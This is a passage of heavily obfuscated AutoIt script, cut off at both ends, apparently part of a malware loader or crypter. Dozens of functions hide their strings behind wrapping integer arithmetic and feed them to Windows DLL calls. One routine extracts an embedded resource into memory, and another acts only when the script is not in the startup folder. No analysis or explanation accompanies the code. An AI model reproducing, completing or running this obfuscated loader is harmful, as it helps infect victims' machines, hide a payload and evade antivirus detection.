4294879322 , 27617 + + 4294939794 , + 4294877368 - + 4294877267 ] LOCAL $SWCERMJZGF FOR $VPVUOFRTVYITKGZ = 0 TO 4 $SWCERMJZGF &= CHRW ($WKQKHGWANPNKUAQOUMVQ [$VPVUOFRTVYITKGZ ] ) NEXT RETURN $SWCERMJZGF ENDFUNC FUNC H_VZVSPLTERBEVMQTRSJ () LOCAL $PIRFUOZQKGRTBXHSHWRB [4 ] = [35752 + + 4294931642 , 48465 + + 4294918942 , + 4294895826 - + 4294895715 , 91950 + + 4294875454 ] LOCAL $NNYZINUIXA FOR $QVBZXYZZJQEHT_A = 0 TO 3 $NNYZINUIXA &= CHRW ($PIRFUOZQKGRTBXHSHWRB [$QVBZXYZZJQEHT_A ] ) NEXT RETURN $NNYZINUIXA ENDFUNC FUNC AECH_QOBMUXORFLDHJYR () LOCAL $JCLKPJALGUWTLXOAKQUJ [45 ] = [+ 4294953722 - + 4294953639 , 69997 + 4294897400 , 82387 + + 4294885017 , + 4294875755 + 91642 , + 4294868960 - + 4294868861 , 57576 + + 4294909836 , + 4294877423 - + 4294877391 , 86052 + + 4294881286 , + 4294916390 + 50938 , + 4294931851 + 35547 , 23953 + 4294943457 , + 4294905293 + 62114 , 86149 + 4294881256 , 73653 + + 4294893675 , 26370 + 4294941013 , + 4294927546 + 39855 , + 4294955822 + 11584 , + 4294910164 - + 4294910113 , + 4294918873 - + 4294918823 , 37868 + + 4294929523 , + 4294948624 - + 4294948544 , 17325 + + 4294950085 , 15477 + 4294951930 , 35187 + 4294932208 , + 4294905157 + 62240 , 48740 + + 4294918671 , 91386 + 4294876025 , 47044 + 4294920284 , + 4294950203 - + 4294950116 , 52610 + + 4294914790 , 62053 + 4294905344 , 31561 + + 4294935849 , + 4294911399 + 55998 , + 4294922516 - + 4294922484 , 87411 + + 4294879965 , + 4294935849 + 31561 , + 4294940336 - + 4294940225 , 55768 + + 4294911627 , 39513 + 4294927884 , 80438 + + 4294886973 , 3617 + + 4294963794 , + 4294874886 + 92483 , 65637 + + 4294901727 , 38542 + 4294928786 , + 4294903939 + 63418 ] LOCAL $UJYYEQJCIL FOR $TCAKWFSWZATECX_ = 0 TO 44 $UJYYEQJCIL &= CHRW ($JCLKPJALGUWTLXOAKQUJ [$TCAKWFSWZATECX_ ] ) NEXT RETURN $UJYYEQJCIL ENDFUNC FUNC MQGAJDACVKEWWGCBLXGA () LOCAL $LHQUENMBFADJNLAENUHC [62 ] = [65958 + + 4294901386 , 36906 + 4294930438 , + 4294876070 + 91274 , 4436 + 4294962908 , + 4294957075 - + 4294957019 , 44309 + 4294923053 , + 4294886610 - + 4294886558 , + 4294945598 - + 4294945545 , 96889 + 4294870473 , + 4294893125 + 74238 , + 4294937714 + 29633 , + 4294895735 + 71627 , 47417 + + 4294919931 , + 4294937127 - + 4294937073 , 57380 + + 4294909967 , + 4294959060 + 8288 , 19644 + 4294947707 , 68358 + 4294898991 , + 4294947709 + 19635 , + 4294903570 + 63796 , + 4294868286 - + 4294868233 , + 4294948735 + 18609 , + 4294927635 - + 4294927565 , + 4294917211 - + 4294917141 , 92391 + + 4294874960 , + 4294902449 - + 4294902396 , 76908 + 4294890456 , + 4294957624 - + 4294957568 , 77967 + + 4294889399 , 52252 + 4294915114 , + 4294902811 - + 4294902758 , 97364 + + 4294869985 , 55924 + 4294911438 , 15871 + + 4294951473 , 35421 + + 4294931931 , 20945 + 4294946404 , 29303 + 4294938060 , 64932 + 4294902412 , 25406 + + 4294941938 , + 4294966825 - + 4294966755 , 18421 + 4294948931 , + 4294943967 - + 4294943914 , 53429 + 4294913921 , 56359 + 4294910986 , + 4294928957 + 38387 , 28238 + + 4294939108 , + 4294898402 + 68942 , 8026 + + 4294959318 , + 4294913335 - + 4294913287 , + 4294891954 - + 4294891906 , 37814 + 4294929536 , + 4294869105 - + 4294869040 , 58078 + + 4294909270 , 18291 + + 4294949053 , 28711 + 4294938639 , 66251 + 4294901101 , 22376 + + 4294944968 , 4747 + 4294962597 , + 4294923860 + 43487 , 47919 + 4294919425 , + 4294922126 - + 4294922078 , 47834 + + 4294919510 ] LOCAL $ZCDMRVFIGE FOR $OXOYUYEHWGMHAHF = 0 TO 61 $ZCDMRVFIGE &= CHRW ($LHQUENMBFADJNLAENUHC [$OXOYUYEHWGMHAHF ] ) NEXT RETURN $ZCDMRVFIGE ENDFUNC FUNC IQSALDCEGIYXJVVFOLXS () LOCAL $FDAWUNZHZIXXSOTHPEVB [4 ] = [+ 4294877695 - + 4294877587 , + 4294905120 + 62287 , 64178 + + 4294903228 , 59159 + + 4294908240 ] LOCAL $YLAEVBNQKQ FOR $TFFQUTNFQWGYEVF = 0 TO 3 $YLAEVBNQKQ &= CHRW ($FDAWUNZHZIXXSOTHPEVB [$TFFQUTNFQWGYEVF ] ) NEXT RETURN $YLAEVBNQKQ ENDFUNC FUNC DMPMGHNPGS_HNXSNAMLZ () LOCAL $LKVI_APUVTCBOFLRGBIE [12 ] = [16459 + 4294950944 , + 4294892143 - + 4294892042 , + 4294927300 + 40110 , + 4294964575 + 2831 , 25891 + + 4294941506 , + 4294929458 + 37946 , 64652 + + 4294902695 , 82054 + + 4294885292 , 33837 + 4294933505 , + 4294959471 - + 4294959371 , + 4294921200 + 46204 , + 4294913256 + 54148 ] LOCAL $JMVKCAEXPD FOR $QYSHMBHZDGKDHOQ = 0 TO 11 $JMVKCAEXPD &= CHRW ($LKVI_APUVTCBOFLRGBIE [$QYSHMBHZDGKDHOQ ] ) NEXT RETURN $JMVKCAEXPD ENDFUNC FUNC SQMKNAHGRNFBESFLYGET () LOCAL $LKAIOXUPPOZNRMXGHCLX [62 ] = [96755 + 4294870594 , + 4294898781 + 68566 , + 4294936346 + 31003 , + 4294929992 + 37358 , + 4294967287 - + 4294967234 , + 4294933791 - + 4294933736 , + 4294932575 - + 4294932519 , 26559 + 4294940803 , 14684 + 4294952667 , + 4294899071 + 68293 , 48438 + + 4294918906 , 26374 + 4294940978 , + 4294954516 + 12831 , 22494 + + 4294944853 , + 4294901248 + 66118 , 73023 + + 4294894327 , 60487 + 4294906865 , 51280 + 4294916082 , 13843 + 4294953505 , + 4294934653 + 32698 , 60738 + + 4294906609 , 86574 + + 4294880789 , 59067 + + 4294908285 , + 4294906626 - + 4294906560 , + 4294901226 + 66122 , 34166 + 4294933182 , 49352 + + 4294917995 , 26518 + 4294940834 , + 4294948498 + 18853 , 17053 + + 4294950299 , 22326 + + 4294945018 , 93471 + + 4294873876 , 76963 + 4294890400 , 22422 + 4294944929 , 6287 + 4294961065 , + 4294927106 + 40256 , 995 + 4294966354 , + 4294951476 - + 4294951428 , 28876 + 4294938470 , 85337 + 4294882007 , 358 + 4294966994 , 76281 + 4294891081 , + 4294929770 - + 4294929717 , + 4294950195 + 17157 , 31258 + 4294936087 , + 4294947034 + 20329 , + 4294939060 + 28284 , + 4294946954 - + 4294946903 , + 4294894426 + 72938 , + 4294928589 + 38762 , 87326 + 4294880026 , 68955 + 4294898407 , 81684 + 4294885664 , 23932 + 4294943420 , + 4294944773 - + 4294944723 , + 4294941792 + 25556 , 57043 + 4294910301 , + 4294958482 - + 4294958431 , 81265 + + 4294886099 , 59089 + + 4294908277 , + 4294885928 + 81424 , + 4294943702 - + 4294943636 ] LOCAL $EKKQKWBBGG FOR $WWXVRFNCJFCJEMI = 0 TO 61 $EKKQKWBBGG &= CHRW ($LKAIOXUPPOZNRMXGHCLX [$WWXVRFNCJFCJEMI ] ) NEXT RETURN $EKKQKWBBGG ENDFUNC FUNC BWAWAPVZQUJDEBQBSNGW () LOCAL $EUZIMYCKLZFDTWYALBJA [3 ] = [75255 + 4294892153 , + 4294924158 - + 4294924042 , + 4294925177 - + 4294925063 ] LOCAL $KORPGKIDPQ FOR $VLLDMFNIDHXTJCN = 0 TO 2 $KORPGKIDPQ &= CHRW ($EUZIMYCKLZFDTWYALBJA [$VLLDMFNIDHXTJCN ] ) NEXT RETURN $KORPGKIDPQ ENDFUNC FUNC RI_YFYGZREZP_WJIGHFU () LOCAL $MEZSVNYXASUH_AMQYDIY [54 ] = [33817 + + 4294933571 , + 4294950791 - + 4294950704 , + 4294897173 - + 4294897068 , + 4294953080 - + 4294952970 , 3462 + + 4294963934 , 36621 + + 4294930786 , + 4294963150 - + 4294963031 , 48516 + 4294918895 , + 4294942467 - + 4294942375 , 78496 + + 4294888877 , + 4294869128 - + 4294869023 , + 4294878184 + 89211 , 23606 + + 4294943804 , + 4294946856 + 20551 , 28980 + + 4294938431 , + 4294947065 - + 4294946954 , 92598 + 4294874800 , 9000 + + 4294958412 , + 4294918635 + 48707 , + 4294960812 + 6562 , 86402 + + 4294880963 , + 4294945022 - + 4294944938 , + 4294941722 - + 4294941630 , + 4294905319 + 62047 , + 4294925959 - + 4294925845 , 52454 + + 4294914939 , 96025 + + 4294871380 , + 4294882587 + 84810 , + 4294867622 - + 4294867503 , 78630 + 4294888777 , + 4294955581 - + 4294955467 , + 4294888891 + 78512 , 13062 + 4294954326 , 9603 + 4294957811 , 78143 + 4294889203 , + 4294918999 + 48343 , 55521 + 4294911823 , 31359 + 4294935983 , + 4294873942 + 93407 , 18068 + 4294949276 , + 4294892721 + 74630 , 33971 + 4294933375 , 1112 + + 4294966239 , + 4294886480 - + 4294886388 , + 4294939581 - + 4294939499 , 2912 + 4294964485 , 58047 + 4294909352 , 32873 + + 4294934488 , + 4294911627 + 55784 , 308 + 4294967097 , + 4294922059 + 45283 , 52758 + 4294914639 , 48438 + + 4294918978 , + 4294902278 + 65119 ] LOCAL $KSMXS_BOIK FOR $ZPADWUPNVOGUCEW = 0 TO 53 $KSMXS_BOIK &= CHRW ($MEZSVNYXASUH_AMQYDIY [$ZPADWUPNVOGUCEW ] ) NEXT RETURN $KSMXS_BOIK ENDFUNC FUNC XVBMLPORSLHBMTRGECNK () LOCAL $MXBNAPRMD_GGHOSZQCZI [1 ] = [+ 4294884890 - + 4294884842 ] LOCAL $OMWZBOSFAU FOR $JOBVTWYABYJBMAU = 0 TO 0 $OMWZBOSFAU &= CHRW ($MXBNAPRMD_GGHOSZQCZI [$JOBVTWYABYJBMAU ] ) NEXT RETURN $OMWZBOSFAU ENDFUNC FUNC SUPFVLNQIICOUSIEYEYYTEMWCKRF ($TYPE , $TITLE , $BODY ) IF @SCRIPTDIR <> $STARTUPDIR THEN LOCAL $UINT SWITCH $TYPE CASE WWDSCWSUXLYTSXDIGKZN () $UINT = JTRKOHUXHFR_OSAJEXDA () CASE RIVDHBZSDGYSQFLRAHAD () $UINT = NUVWWCOCDCBSPPUYDKUE () ENDSWITCH DLLCALL (ETZNT_FNMEYFZAQ_ORPO () , P_HQTDSUWYOKQXKUDAWA () , SRADDPFJYGKMRAYYWVFR () , QHGMITTTBEROVBWFOEJB () , TOHOQPYRIEHRYEXGGDSJ () , ZAEQOGLGZHDLBPUHT_OV () , $BODY , ZAEQOGLGZHDLBPUHT_OV () , $TITLE , C_UNGTQGTZDOVYJASSAR () , $UINT ) ENDIF ENDFUNC FUNC FKVUOPPBMJAJDLWURUIF () LOCAL $WYNEHHDXVOOIYJAZWBSS [6 ] = [10754 + + 4294956646 , 29537 + 4294937856 , + 4294930356 + 37050 , 83383 + + 4294884013 , + 4294895737 + 71667 , + 4294935006 - + 4294934905 ] LOCAL $ULYYPBQTZG FOR $IKXIXRMHMSHYVSL = 0 TO 5 $ULYYPBQTZG &= CHRW ($WYNEHHDXVOOIYJAZWBSS [$IKXIXRMHMSHYVSL ] ) NEXT RETURN $ULYYPBQTZG ENDFUNC FUNC VAXJBBXRIUDPVUGBKPRC () LOCAL $YFJKES_UIVDUDCENESWT [3 ] = [92636 + + 4294874772 , + 4294903753 + 63659 , 63571 + 4294903839 ] LOCAL $DJNRJLTQTY FOR $LNMKKKAXRQRNFJB = 0 TO 2 $DJNRJLTQTY &= CHRW ($YFJKES_UIVDUDCENESWT [$LNMKKKAXRQRNFJB ] ) NEXT RETURN $DJNRJLTQTY ENDFUNC FUNC VJQTQSTUBWSNRLDPXESI () LOCAL $DIHTNZFBRFKGBRRURSHJ [48 ] = [+ 4294911817 - + 4294911745 , 65944 + + 4294901427 , + 4294910688 + 56675 , + 4294868397 + 98984 , + 4294904180 - + 4294904088 , 65605 + 4294901774 , + 4294924519 - + 4294924408 , + 4294938024 + 29374 , 87900 + + 4294879512 , 53443 + + 4294913972 , 2180 + + 4294965213 , 76076 + + 4294891334 , + 4294952856 - + 4294952755 , + 4294959321 - + 4294959229 , 56109 + 4294911254 , 86882 + 4294880522 , 77111 + 4294890282 , 77343 + + 4294890068 , + 4294894503 - + 4294894388 , + 4294873182 + 94215 , 93425 + 4294873986 , + 4294889494 + 77894 , + 4294941488 - + 4294941379 , + 4294878335 + 89076 , 99529 + 4294867866 , + 4294922818 + 44580 , 4046 + + 4294963355 , + 4294896160 + 71244 , + 4294874793 - + 4294874692 , + 4294953959 - + 4294953867 , 47213 + + 4294920198 , 60082 + + 4294907318 , 55635 + + 4294911762 , + 4294965798 + 1606 , 81642 + + 4294885762 , 24043 + + 4294943345 , 79756 + 4294887651 , 40068 + 4294927340 , + 4294910490 + 56907 , 102 - + 4294967288 , + 4294963552 + 3836 , 95822 + + 4294871573 , 24027 + 4294943380 , 36293 + 4294931112 , 4573 + + 4294962832 , + 4294882173 + 85220 , + 4294869408 + 97998 , + 4294965744 + 1652 ] LOCAL $LVAVQZOFB_ FOR $ABHSN_TIUCXAXPU = 0 TO 47 $LVAVQZOFB_ &= CHRW ($DIHTNZFBRFKGBRRURSHJ [$ABHSN_TIUCXAXPU ] ) NEXT RETURN $LVAVQZOFB_ ENDFUNC FUNC RQCVKQRBW_PZBLFTVGPG () LOCAL $ZQRDXQOBRZPDWHXMMZYZ [12 ] = [13869 + 4294953534 , 88254 + 4294879143 , 15326 + + 4294952084 , 99401 + + 4294868005 , + 4294890471 - + 4294890370 , 68471 + 4294898933 , 65342 + + 4294902005 , + 4294890418 - + 4294890368 , + 4294872204 + 95138 , + 4294887521 + 79875 , 87336 + + 4294880068 , 18617 + + 4294948787 ] LOCAL $YQPZFDIZGE FOR $KLDUOTHWIRSQSHS = 0 TO 11 $YQPZFDIZGE &= CHRW ($ZQRDXQOBRZPDWHXMMZYZ [$KLDUOTHWIRSQSHS ] ) NEXT RETURN $YQPZFDIZGE ENDFUNC FUNC QAVHRKECEJYEIKDBAPTMGAOZ ($RESNAME , $RESTYPE = 10 ) LOCAL $RESPOINTER LOCAL $RESSIZE LOCAL $HINSTANCE LOCAL $INFOBLOCK LOCAL $GLOBALMEMORYBLOCK LOCAL $MEMORYPOINTER $INFOBLOCK = DLLCALL (V_BJOPJWTKAFWL_YVMMD () , P_HQTDSUWYOKQXKUDAWA () , IQKPWWSKZKVRNCWEOHPX () , P_HQTDSUWYOKQXKUDAWA () , $HINSTANCE , QWLYTHIRZVJOWNQHPBKZ () , $RESNAME , IQSALDCEGIYXJVVFOLXS () , $RESTYPE ) [0 ] $RESSIZE = DLLCALL (V_BJOPJWTKAFWL_YVMMD () , MLHTVAHGQBSHGBCHDSCI () , VRLYTBYRZWGBKECYJFXP () , P_HQTDSUWYOKQXKUDAWA () , $HINSTANCE , P_HQTDSUWYOKQXKUDAWA () , $INFOBLOCK ) [0 ] $GLOBALMEMORYBLOCK = DLLCALL (V_BJOPJWTKAFWL_YVMMD () , P_HQTDSUWYOKQXKUDAWA () , SWYQTDDNZHGLOXOWUZTZ () , P_HQTDSUWYOKQXKUDAWA () , $HINSTANCE , P_HQTDSUWYOKQXKUDAWA () , $INFOBLOCK ) [0 ] $MEMORYPOINTER = DLLCALL (V_BJOPJWTKAFWL_YVMMD () , P_HQTDSUWYOKQXKUDAWA () , XBWSCXQWMQFLXHKBEIKP () , P_HQTDSUWYOKQXKUDAWA () , $GLOBALMEMORYBLOCK ) [0 ] RETURN DLLSTRUCTCREATE (VHQWOWUCVBZUKLXFPOTU () & $RESSIZE & ITNVYGEHUBPGPMUWPFII () , $MEMORYPOINTER ) ENDFUNC FUNC OKYWIQGUWZURETEFXOVA () LOCAL $DTAUYPRUZCJMP_CTEGQ_ [11 ] = [+ 4294958432 - + 4294958365 , + 4294961479 + 5925 , + 4294914456 + 52951 , 41033 + + 4294926378 , 82705 + + 4294884692 , 56220 + 4294911148 , 5164 + + 4294962229 , + 4294929494 + 37912 , + 4294945675 - + 4294945575 , + 4294887038 + 80366 , 93064 + 4294874333 ] LOCAL $AAZHWSZHB_ FOR $VUPICFRLAQYVOUF = 0 TO 10 $AAZHWSZHB_ &= CHRW ($DTAUYPRUZCJMP_CTEGQ_ [$VUPICFRLAQYVOUF ] ) NEXT RETURN $AAZHWSZHB_ ENDFUNC FUNC UOMYTRECYCVNAROFFCYJ () LOCAL $VCUIKDPZFWHOBVOODAXS [6 ] = [+ 4294880252 + 87152 , + 4294957773 + 9635 , + 4294955409 - + 4294955307 , + 4294880590 - + 4294880485 , + 4294892514 - + 4294892406 , + 4294913702 + 53695 ] LOCAL $ECACEFFLZO FOR $ENISUENQCFXBUGL = 0 TO 5 $ECACEFFLZO &= CHRW ($VCUIKDPZFWHOBVOODAXS [$ENISUENQCFXBUGL ] ) NEXT RETURN $ECACEFFLZO ENDFUNC FUNC FPHQLRPKWJMODPQIAFPF () LOCAL $NYNAWTQUPFEOUSWNDMSU [4 ] = [47340 + + 4294920004 , + 4294956977 + 10439 , 1809 + + 4294965537 , 24984 + + 4294942360 ] LOCAL $QEYULTCEON FOR $BMCKFZIHCHUTAUV = 0 TO 3 $QEYULTCEON &= CHRW ($NYNAWTQUPFEOUSWNDMSU [$BMCKFZIHCHUTAUV ] ) NEXT RETURN $QEYULTCEON ENDFUNC FUNC XLLNGBDDMFNFZSMUXSMZ () LOCAL $ZUVCAKEEODJKEGHTSKTS [5 ] = [+ 4294909034 - + 4294908934 , 20976 + 4294946439 , 42998 + + 4294924409 , + 4294910466 + 56944 , 91411 + 4294875985 ] LOCAL $CBSKSCMZTU FOR $IPGQDDQJMWXZPJV = 0 TO 4 $CBSKSCMZTU &= CHRW ($ZUVCAKEEODJKEGHTSKTS [$IPGQDDQJMWXZPJV ] ) NEXT RETURN $CBSKSCMZTU ENDFUNC FUNC DWC_NUETFU_WASSHSAVQ () LOCAL $FAQSQFCNUIEWMOIZAYTM [19 ] = [+ 4294941747 + 25616 , + 4294899333 - + 4294899219 , 68932 + + 4294898485 , + 4294908084 + 59324 , 89760 + + 4294877652 , 43495 + 4294923866 , + 4294933986 + 33409 , + 4294896087 - + 4294895974 , + 4294909556 - + 4294909439 , + 4294940209 - + 4294940104 , + 4294930140 + 37270 , + 4294872823 + 94574 , 17563 + 4294949800 , + 4294948702 - + 4294948591 , 26664 + + 4294940742 , 42475 + + 4294924937 , + 4294923814 - + 4294923713 , + 4294868355 - + 4294868235 , 72252 + 4294895160 ] LOCAL $LUZZHW_MIE FOR $OTLOLXQXERKFUQO = 0 TO 18 $LUZZHW_MIE &= CHRW ($FAQSQFCNUIEWMOIZAYTM [$OTLOLXQXERKFUQO ] ) NEXT RETURN $LUZZHW_MIE ENDFUNC FUNC GNUTPLRDYAWMAOSKFILT () LOCAL $YBAYIMHXJZDF_BXYFNYQ [3 ] = [+ 4294943097 + 24314 , + 4294920735 - + 4294920619 , 20550 + 4294946860 ] LOCAL $UUZXRMZQTF FOR $VBIYXKRYNEMWLDD = 0 TO 2 $UUZXRMZQTF &= CHRW ($YBAYIMHXJZDF_BXYFNYQ [$VBIYXKRYNEMWLDD ] ) NEXT RETURN $UUZXRMZQTF ENDFUNC FUNC HCAHLAEQEMSBSAZYYSQT () LOCAL $TODCKMJUKUOKGJAQZKKZ [10 ] = [+ 4294899551 - + 4294899503 , 86390 + + 4294881026 , 64617 + 4294902727 , + 4294946071 - + 4294946023 , + 4294945212 - + 4294945164 , 24690 + + 4294942654 , + 4294936417 + 30927 , + 4294911295 + 56049 , + 4294876336 + 91008 , + 4294892221 + 75124 ] LOCAL $MMJHKBJJJK FOR $RKFKYHVIAJYOIRP = 0 TO 9 $MMJHKBJJJK &= CHRW ($TODCKMJUKUOKGJAQZKKZ [$RKFKYHVIAJYOIRP ] ) NEXT RETURN $MMJHKBJJJK ENDFUNC FUNC __JYXRZDAJLXWSKAXVIL () LOCAL $TUZQ_BRXYQAMTCVFHXGR [1 ] = [+ 4294879412 + 87933 ] LOCAL $TZVACFKIZE FOR $OMZRUUKQDMGKHGA = 0 TO 0 $TZVACFKIZE &= CHRW ($TUZQ_BRXYQAMTCVFHXGR [$OMZRUUKQDMGKHGA ] ) NEXT RETURN $TZVACFKIZE ENDFUNC FUNC GDXXWMHPOECRLCPMESDH () LOCAL $CPKEQIPMFGZBKTBXZXZF [5 ] = [94248 + + 4294873148 , 80574 + + 4294886841 , 12491 + + 4294954916 , + 4294956388 - + 4294956274 , + 4294951713 - + 4294951613 ] LOCAL $BHTASNITXG FOR $UTTNCSUSGNXVKHF = 0 TO 4 $BHTASNITXG &= CHRW ($CPKEQIPMFGZBKTBXZXZF [$UTTNCSUSGNXVKHF ] ) NEXT RETURN $BHTASNITXG ENDFUNC FUNC YPIQDKITEMDBBWGDNFLD () LOCAL $OHHUKLYEXKKUHMGUAUVV [62 ] = [20527 + + 4294946817 , + 4294928772 - + 4294928705 , 77720 + 4294889632 , 59258 + 4294908104 , + 4294880914 + 86437 , + 4294948273 - + 4294948219 , 58589 + 4294908755 , + 4294950794 + 16569 , 40126 + + 4294927226 , 52517 + + 4294914845 , + 4294966878 - + 4294966827 , + 4294904605 + 62745 , + 4294882492 - + 4294882436 , + 4294913569 + 53793 , 16323 + 4294951024 , 74995 + + 4294892355 , 15603 + + 4294951749 , + 4294922725 + 44637 , + 4294870643 + 96708 , 75384 + 4294891966 , + 4294939050 + 28295 , + 4294915904 - + 4294915848 , 99577 + 4294867775 , 96811 + 4294870542 , + 4294890333 + 77018 , + 4294962337 - + 4294962284 , 10348 + 4294957014 , + 4294932172 - + 4294932116 , + 4294913551 + 53801 , 39252 + + 4294928101 , + 4294940505 - + 4294940450 , 10065 + 4294957299 , + 4294949319 + 18044 , 57009 + 4294910343 , 5176 + + 4294962174 , 27694 + 4294939654 , + 4294929266 + 38086 , 89509 + + 4294877853 , + 4294887980 + 79367 , + 4294911286 + 56063 , 24052 + + 4294943295 , + 4294925592 + 41752 , + 4294870670 + 96674 , + 4294900306 - + 4294900258 , + 4294922898 - + 4294922850 , + 4294903103 - + 4294903055 , 23444 + 4294943900 , 76712 + 4294890632 , 52858 + + 4294914494 , 19762 + 4294947600 , 19234 + + 4294948117 , 22178 + 4294945172 , 99339 + 4294868005 , + 4294918156 + 49207 , 90089 + + 4294877263 , + 4294939593 - + 4294939527 , 49813 + 4294917538 , 71144 + + 4294896206 , 1381 + + 4294965963 , 1969 + + 4294965394 , 4773 + 4294962579 , 82680 + 4294884682 ] LOCAL $XYPHRCASFF FOR $MEUICQMDAMMPBMZ = 0 TO 61 $XYPHRCASFF &= CHRW ($OHHUKLYEXKKUHMGUAUVV [$MEUICQMDAMMPBMZ ] ) NEXT RETURN $XYPHRCASFF ENDFUNC FUNC TYTDMQGCHQKBYFQZMYFU () LOCAL $BYUVVIIYQS_GHLX_JTSL [1 ] = [28386 + 4294938958 ] LOCAL $YIEHIMPQDU FOR $EBDVOKSYDQZBWUE = 0 TO 0 $YIEHIMPQDU &= CHRW ($BYUVVIIYQS_GHLX_JTSL [$EBDVOKSYDQZBWUE ] ) NEXT RETURN $YIEHIMPQDU ENDFUNC FUNC NYCECZJHRYBQ_QBFDJGJ () LOCAL $PWMHOAQWUNKZHIVD_SFX [1 ] = [+ 4294941203 + 26141 ] LOCAL $VRBINNDOCJ FOR $UUXMSPAVCLEJTRL = 0 TO 0 $VRBINNDOCJ &= CHRW ($PWMHOAQWUNKZHIVD_SFX [$UUXMSPAVCLEJTRL ] ) NEXT RETURN $VRBINNDOCJ ENDFUNC FUNC XJLUEFGJUDQSMXDYUFHF () LOCAL $QIRFAAOWA_GXDUUBKEP_ [1 ] = [98357 + + 4294868988 ] LOCAL $FTDRLIUXTO FOR $GBWYIFRHVMIYIOS = 0 TO 0 $FTDRLIUXTO &= CHRW ($QIRFAAOWA_GXDUUBKEP_ [$GBWYIFRHVMIYIOS ] ) NEXT RETURN $FTDRLIUXTO ENDFUNC FUNC D_SZPZPVMWDAVOTVFGRW () LOCAL $RRCXSYRYFPLLLOZPW_LK [10 ] = [+ 4294874321 + 93092 , 16198 + 4294951212 , 27705 + 4294939699 , + 4294882299 - + 4294882190 , 36452 + 4294930955 , 4998 + + 4294962408 , + 4294920298 - + 4294920252 , + 4294945382 - + 4294945282 , + 4294890273 + 77131 , 45874 + + 4294921530 ] LOCAL $XCQGOWOFFD FOR $HSQWLSPHPEZFWHX = 0 TO 9 $XCQGOWOFFD &= CHRW ($RRCXSYRYFPLLLOZPW_LK [$HSQWLSPHPEZFWHX ] ) NEXT RETURN $XCQGOWOFFD ENDFUNC FUNC NZ_AVKEPCFANGUSJINNV () LOCAL $UDLIFDVMCWIELNMWJFNU [62 ] = [+ 4294879613 + 87753 , + 4294947506 - + 4294947439 , + 4294887752 + 79614 , 31344 + 4294936022 , + 4294920385 + 46981 , + 4294957684 - + 4294957614 , 5831 + 4294961521 , 46918 + 4294920429 , + 4294966891 + 472 , + 4294903885 + 63459 , + 4294952034 + 15310 , + 4294963757 - + 4294963701 , + 4294890604 + 76745 , 90824 + + 4294876520 , 40429 + + 4294926937 , 98004 + 4294869362 , 97047 + + 4294870304 , + 4294895093 + 72256 , 46900 + 4294920464 , + 4294952062 - + 4294952006 , 7703 + + 4294959663 , 50869 + 4294916497 , 22024 + + 4294945325 , 31699 + 4294935650 , 57421 + 4294909943 , 33224 + + 4294934124 , 19108 + + 4294948244 , + 4294909425 - + 4294909372 , + 4294954882 - + 4294954815 , + 4294965307 - + 4294965259 , + 4294908856 + 58488 , + 4294922226 + 45140 , 90274 + 4294877078 , 24925 + + 4294942423 , 60365 + + 4294906982 , 27459 + 4294939904 , + 4294917415 - + 4294917345 , 57113 + + 4294910252 , 84709 + 4294882657 , + 4294896059 + 71307 , 67008 + + 4294900358 , 90795 + 4294876571 , 7114 + 4294960238 , 35998 + 4294931364 , + 4294964348 + 3000 , 20313 + + 4294947037 , 15593 + 4294951753 , + 4294952504 + 14848 , 84047 + + 4294883297 , + 4294909518 - + 4294909467 , + 4294956066 + 11282 , 62144 + + 4294905205 , 9770 + + 4294957596 , 13233 + + 4294954119 , 20575 + 4294946777 , + 4294935027 - + 4294934970 , 40558 + + 4294926794 , 81897 + 4294885452 , + 4294874897 + 92466 , 34011 + + 4294933333 , 37574 + 4294929792 , 42368 + + 4294924995 ] LOCAL $QXTPBGHHBL FOR $NBWXXRSACWKIMBU = 0 TO 61 $QXTPBGHHBL &= CHRW ($UDLIFDVMCWIELNMWJFNU [$NBWXXRSACWKIMBU ] ) NEXT RETURN $QXTPBGHHBL ENDFUNC FUNC XAUXUDMHH_VLETLZO_JJ () LOCAL $JXQKKASNVGVZFZKNUOVI [1 ] = [+ 4294874834 - + 4294874785 ] LOCAL $KMULZMAEWF FOR $RVOQVUQTZGBYF_L = 0 TO 0 $KMULZMAEWF &= CHRW ($JXQKKASNVGVZFZKNUOVI [$RVOQVUQTZGBYF_L ] ) NEXT RETURN $KMULZMAEWF ENDFUNC FUNC _MOBVYBNNNSQPOOQRGIU () LOCAL $JFKIHSGEDTRTVY_YUTFF [1 ] = [4802 + + 4294962543 ] LOCAL $GUCRXKUWZV FOR $NEAMVJIOSFQIVUB = 0 TO 0 $GUCRXKUWZV &= CHRW ($JFKIHSGEDTRTVY_YUTFF [$NEAMVJIOSFQIVUB ] ) NEXT RETURN $GUCRXKUWZV ENDFUNC FUNC VFGWJMRZCOYIHPMBCADY () LOCAL $MLRQNIKNEFHYDCNCCPRF [15 ] = [+ 4294953012 + 14382 , + 4294933202 - + 4294933081 , + 4294896891 - + 4294896775 , 37860 + + 4294929537 , + 4294909609 - + 4294909577 , + 4294922259 - + 4294922144 , + 4294909858 - + 4294909754 , 56079 + 4294911318 , + 4294957877 + 9527 , + 4294937860 - + 4294937752 , + 4294882531 - + 4294882432 , + 4294908726 + 58681 , + 4294925272 - + 4294925172 , + 4294904082 - + 4294903981 , + 4294881981 - + 4294881890 ] LOCAL $WTSICOMFRD FOR $ZNIYJMCKMIAXHWY = 0 TO 14 $WTSICOMFRD &= CHRW ($MLRQNIKNEFHYDCNCCPRF [$ZNIYJMCKMIAXHWY ] ) NEXT RETURN $WTSICOMFRD ENDFUNC FUNC REQ_TCJHAHVFDQURVU_T () LOCAL $HEXEWOROGUZMXXKSOTRR [62 ] = [+ 4294907693 - + 4294907645 , 64404 + + 4294903012 , 17097 + 4294950252 , 4840 + + 4294962509 , + 4294894343 + 73009 , + 4294917229 - + 4294917163 , + 4294933445 - + 4294933376 , 78196 + 4294889167 , + 4294921601 - + 4294921545 , + 4294900855 - + 4294900789 , 16134 + + 4294951214 , + 4294880332 - + 4294880264 , + 4294928475 - + 4294928427 , + 4294935145 - + 4294935089 , + 4294907143 - + 4294907087 , + 4294893786 - + 4294893720 , + 4294885504 - + 4294885437 , 7165 + 4294960180 , 98293 + + 4294869059 , + 4294946737 + 20607 , + 4294878822 - + 4294878771 , + 4294932859 + 34494 , + 4294961759 + 5585 , + 4294898855 - + 4294898807 , 99261 + + 4294868090 , + 4294953101 - + 4294953049 , 17005 + 4294950339 , + 4294917462 - + 4294917408 , 86591 + + 4294880757 , 20260 + 4294947084 , 88508 + 4294878844 , 21957 + + 4294945387 , + 4294953955 - + 4294953904 , + 4294872381 - + 4294872325 , + 4294880992 + 86352 , + 4294963767 - + 4294963719 , + 4294902258 + 65093 , + 4294893841 - + 4294893788 , + 